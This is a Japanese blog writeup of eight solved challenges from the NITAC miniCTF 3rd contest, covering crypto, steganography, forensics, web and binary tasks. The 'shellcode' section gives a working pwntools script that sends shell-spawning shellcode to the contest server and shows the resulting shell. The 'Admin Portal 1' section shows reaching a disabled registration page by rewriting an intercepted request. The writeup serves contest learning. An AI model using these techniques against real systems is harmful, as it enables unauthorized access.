NITAC miniCTF 3rd Writeup
NITAC miniCTF 3rd について
NITAC miniCTF 3rd が開催されました。
2020年01月26日午後1時30分~2020年01月26日午後5時30分(4時間)
明石高専IT系勉強会が主催のminiCTF大会が開催されました。難易度はそこまで高くありませんでしたが、時間が短く、思うように解けませんでした。 今回もチームで参加し、メンバが1問解いてくれました。 結果は、13/32位で、851点でした。 8問解くことができたので、そのWriteupを紹介します。
NITAC miniCTF 3rd Writeup(8問)
Welcome(Sample)
問題
NITAC miniCTFへようこそ!以下の欄に NITAC{sup3r_dup3r_sc0re_serv3r} と入力して、FLAGが提出できることを確認してください。 Discordサーバへの参加もお忘れなく!: https://discord.gg/npD6Q9k
解答例
チュートリアル問題、問題文にFLAGが書かれていました。
FLAG
NITAC{sup3r_dup3r_sc0re_serv3r}
shellcode(Binary)
問題
バイト列を入力すると実行してくれます。
このプログラムが動作しているディレクトリにFLAGの書かれたファイルが置いてあるので、それを読んでください。
nc shellcode.ctf.jyoken.net 80
添付ファイル
- shellcode
解答例
まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。
$ file shellcode shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped $ checksec shellcode [*] '/root/workdir/pwn_shellcode/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled
次に実行してみました。実行すると、「I will execute your code instead of you. Give me machine code bytes: 」と表示されました。 適当に入力してみると、「Executing...」と表示され、異常終了しました。
$ ./shellcode I will execute your code instead of you. Give me machine code bytes: a Executing... Illegal instruction (core dumped)
どうやら、入力したシェルコードをそのまま実行してくれるようです。 一応、Ghidraでデコンパイルしてみました。
14行目で入力したシェルコードを実行している処理が確認できます。 後は、シェルコードを作成して入力するだけでできそうです。 今回は、pwntoolsのshellcraftでシェルコードを作成しました。以下、そのスクリプトになります。
#!/usr/bin/env python3 from pwn import * ARCH = "amd64" FILE = "./shellcode" LIBC = "" HOST = "shellcode.ctf.jyoken.net" PORT = 80 GDB_SCRIPT = """ break main continue """ def exploit(io, elf, libc, rop): payload = asm(shellcraft.sh()) log.info("payload: {}".format(payload)) io.sendlineafter("I will execute your code instead of you. Give me machine code bytes: ", payload) def main(): context(arch=ARCH, os="linux", terminal=["/bin/sh"]) if args["REMOTE"]: io = remote(HOST, PORT) else: io = process([FILE]) if args["GDB"]: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) elf = ELF(FILE) libc = None if LIBC != "": libc = ELF(LIBC) rop = ROP(elf) exploit(io, elf, libc, rop) io.interactive() if __name__ == "__main__": main()
実行すると、シェルを取ることができました。catコマンドでflag.txtを読み出すとフラグが表示されました。
$ python exploit.py REMOTE [+] Opening connection to shellcode.ctf.jyoken.net on port 80: Done [*] '/root/workdir/pwn_shellcode/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled [*] Loaded cached gadgets for './shellcode' [*] payload: b'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05' [*] Switching to interactive mode $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls flag.txt redir.sh shellcode $ cat flag.txt NITAC{I_g4ve_up_cr0ss_comp1ling}
FLAG
NITAC{I_g4ve_up_cr0ss_comp1ling}
wrong copy(Binary)
問題
「重要なものはコピーしてバックアップしないとね!
objcopy --remove-section=.data --remove-section=.bss ./program」
添付ファイル
- program
解答例
まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。
$ file program program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped $ checksec program [*] '/root/workdir/program/program' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
次に実行してみましたが、すぐにセグメンテーション違反で異常終了してしまいました。
$ ./program Segmentation fault (core dumped)
よく分からないので、とりあえずGhidraでデコンパイルしてみます。
putsでlocal_58を表示するだけのプログラムになっていました。 怪しい変数を文字列に変換していくと、フラグになっていました。
FLAG
NITAC{c0py_15_d1ff1cul7}
base64(Crypto)
問題
これ、、読めますよね。。。
添付ファイル
- encoded.txt
解答例
Base64デコードするだけ
$ echo "TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K" | base64 -d NITAC{DO_YOU_KNOW_BASE64?}
FLAG
NITAC{DO_YOU_KNOW_BASE64?}
flower(Forensics)
問題
学校にある絵にこんな秘密が隠されていたなんてーーー
添付ファイル
解答例
encrypt.pyを確認すると、以下のようになっていました。フラグ文字列をバイナリ変換し、画像のRGBの下位1ビットに書き込んでいるようです。
import cv2 import numpy as np img = cv2.imread('flower.png') flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))]) flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag)) print(flag) print(len(flag)) enc_img = [] cnt = 0 for i in img: img_line = [] for j in i: r, g, b = [[y for y in list(bin(x)[2:])] for x in j] r[-1] = flag[cnt] g[-1] = flag[cnt + 1] b[-1] = flag[cnt + 2] cnt += 3 img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]]) enc_img.append(img_line) cv2.imwrite('enc_flower.png', np.array(enc_img))
上記のスクリプトを参考にRGBの下位1ビットを出力させるようなスクリプトを作成しました。
import cv2 import numpy as np img = cv2.imread('enc_flower.png') cnt = 0 for i in img: for j in i: r, g, b = [[y for y in list(bin(x)[2:])] for x in j] print(r[-1], end="") print(g[-1], end="") print(b[-1], end="") cnt += 3
実行してみると、以下のようになります。
$ python decrypt.py > result.txt $ head -c 200 result.txt 01001110010010010101010001000001010000110111101101001100010100110100001001011111011001100111010101101100011011000101111101110011011001010110000101110010011000110110100001111101000000000000000000000000
CyberChefでバイナリを文字列に変換すると、フラグが出てきました。
FLAG
NITAC{LSB_full_search}
spam(Misc)
問題
好きにして、好きにして、煮るなり焼くなり好きにして
添付ファイル
- spam.txt
解答例
spam.txtを開くと、以下のようになっていました。.
や!
が行頭にあり、普通の英文にしては違和感があります。
Dear Friend , This letter was specially selected to be sent to you . This is a one time mailing there is no need to request removal if you won't want any more . This mail is being sent in compliance with Senate bill 1624 ; Title 3 , Section 303 ! THIS IS NOT A GET RICH SCHEME ! Why work for somebody else when you can become rich within 69 MONTHS ! Have you ever noticed people will do almost anything to avoid mailing their bills & nobody is getting any younger ! Well, now is your chance to capitalize on this ! WE will help YOU SELL MORE & use credit cards on your website . You are guaranteed to succeed because we take all the risk ! But don't believe us . Mrs Anderson of Georgia tried us and says "My only problem now is where to park all my cars" ! We are a BBB member in good standing . If not for you then for your loved ones - act now . Sign up a friend and your friend will be rich too . Best regards . Dear Salaryman ; Your email address has been submitted to us indicating your interest in our publication . This is a one time mailing there is no need to request removal if you won't want any more . This mail is being sent in compliance with Senate bill 1916 ; Title 1 , Section 302 ! This is not a get rich scheme . Why work for somebody else when you can become rich as few as 63 WEEKS . Have you ever noticed nearly every commercial on television has a .com on in it & nearly every commercial on television has a .com on in it . Well, now is your chance to capitalize on this . WE will help YOU SELL MORE and process your orders within seconds . You can begin at absolutely no cost to you . But don't believe us . Ms Anderson who resides in Oklahoma tried us and says "My only problem now is where to park all my cars" . We are licensed to operate in all states ! Because the Internet operates on "Internet time" you must act now . Sign up a friend and you get half off ! Thanks .
とりあえず、1行目の Dear Friend , This letter was specially selected to
でいろいろ調べていると、spam mimic
というページを発見しました。
このページでデコードしてみると、フラグが出てきました。
FLAG
NITAC{it's_like_a_spam}
Teacher's Server(NetWork)
問題
先生たちの共有サーバのパケットログが流出した。base32で符号化されたFLAGを探し出せ。
添付ファイル
- Network1.pcapng
解答例
pcapファイルなのでWiresharkで開いてみました。
Base32エンコードされていそうな文字列があるので、デコードしてみるとフラグとなっていました。
FLAG
NITAC{ISAO_IS_MATHEMATICIAN}
Admin Portal 1(Web)
問題
工事中のサイトなので新規登録できません……
http://portal.ctf.jyoken.net/
添付ファイル
- adminportal.tar.gz
解答例
adminportal.tar.gzと展開し、login.phpを見てみると、以下のようになっていました。register.php
がコメントアウトされているのが確認できます。
これを利用すれば、アカウントを自由に作成できそうです。
<?php require_once 'util.php'; session_start(); if (isset($_POST['username']) && isset($_POST['password'])) { login((string)$_POST['username'], (string)$_POST['password']); $error = 'Wrong username or password'; } if (isset($_GET['msg'])) $msg = htmlspecialchars($_GET['msg']); if (isset($_GET['error'])) $error = htmlspecialchars($_GET['error']); if (is_logged_in()) { header("Location: /"); exit(0); } ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <main role="main" class="container"> <?php if (!empty($error)) { ?> <div class="alert alert-warning alert-dismissible fade show" rule="alert"> <strong>Error!</strong> <?php echo $error; ?> <button type="button" class="close" data-dismiss="alert" aria-label="close"><span aria-hidden="true">×</span></button> </div> <?php } ?> <?php if (!empty($msg)) { ?> <div class="alert alert-primary alert-dismissible fade show" rule="alert"> <strong>Error!</strong> <?php echo $msg; ?> <button type="button" class="close" data-dismiss="alert" aria-label="close"><span aria-hidden="true">×</span></button> </div> <?php } ?> <h1 class="m-3">Login</h1> <form method="POST"> <div class="form-group"> <label for="u">Username: </label> <input type="text" name="username" id="u"> </div> <div class="form-group"> <label for="p">Password: </label> <input type="password" name="password" id="p"> </div> <input type="submit" class="btn btn-primary" value="Login" formaction="/login.php"> <!-- <input type="submit" class="btn btn-success" value="Register" formaction="/register.php"> --> </form> </main> </body> </html>
まず、Fiddler4のBefore Requests
でブレークするように設定します。
次に、http://portal.ctf.jyoken.net/login.phpにアクセスし、UsernameとPasswordを入力して、Loginボタンを押します。
Fiddler4で止めた後、login.phpをregister.phpに書き換えて実行させると、アカウントを作成することができました。
ログインすると、フッターにフラグが書かれていました。
FLAG
NITAC{00f_r3g1str4t10n_st1ll_w0rks}